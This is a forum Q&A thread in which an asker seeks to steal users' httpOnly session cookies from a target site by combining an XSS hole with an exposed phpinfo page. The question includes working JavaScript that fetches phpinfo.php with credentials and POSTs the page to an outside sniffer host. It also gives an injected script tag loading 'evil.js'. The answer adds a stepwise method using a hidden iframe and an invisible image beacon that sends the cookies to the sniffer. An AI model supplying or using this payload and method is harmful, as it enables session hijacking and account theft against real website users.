4

phpinfo() shows all cookies, even the httponly ones. So the question is - how can I receive a user's cookies on a target website through XSS with phpinfo? The XSS will contain code that will open the phpinfo page in the background (like a popunder) and then using XMLHttpRequest will send the page content to my web sniffer page. The question is - I don't really know how to put this together. I'm seeing in this way:

  1. XSS will contain <script src="http://mywebsite.com/evil.js"></script>
  2. evil.js will open XMLHttpRequest GET to get phpinfo page with cookies data
  3. evil.js will post data to my sniffer

Is this the correct way to do this or is there maybe a more appropriate approach?

I wrote up an example of what I was thinking of:

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange= function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {

        var body = encodeURIComponent(xhttp.responseText);
        xhttp.open("POST", 'http://mysniff.ru/t.php', true)
        xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
        xhttp.send(body)

    }
};

xhttp.open("GET", "phpinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();

Will it work if I include this code as a script src? Or must I only urlencode it and pass it to a vulnerable parameter in order to work?

2
  • Are you saying if phpinfo is already on the box? If not, that would be the hard part.
    – Peleus
    Commented Apr 10, 2016 at 15:39
  • @Peleus, yes, phpinfo is there. But not sure how to use this technique altogether. Maybe there is some appropriate way? Commented Apr 11, 2016 at 13:10

1 Answer 1

4

First of all, I assume that you are the owner of the website disclosing the phpinfo, and you ask this for academic purposes.

To achieve what you said, I would do the following :

  • Create an invisible iframe (0px x 0px)
  • Store cookies in var x by parsing the iframe content through contentDocument getter/setter
  • Create an invisible <img/> (0px x 0px) with src set to your sniffer URL
  • Concat x to the querystring in the src attribute
  • Add your <img/> to the <body>
  • (At this point, the browser will try to load the <img/> even if its not a picture)
  • Read server GET logs on your sniffer

Edit: I did not see that this thread was a 4 years old one ...

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .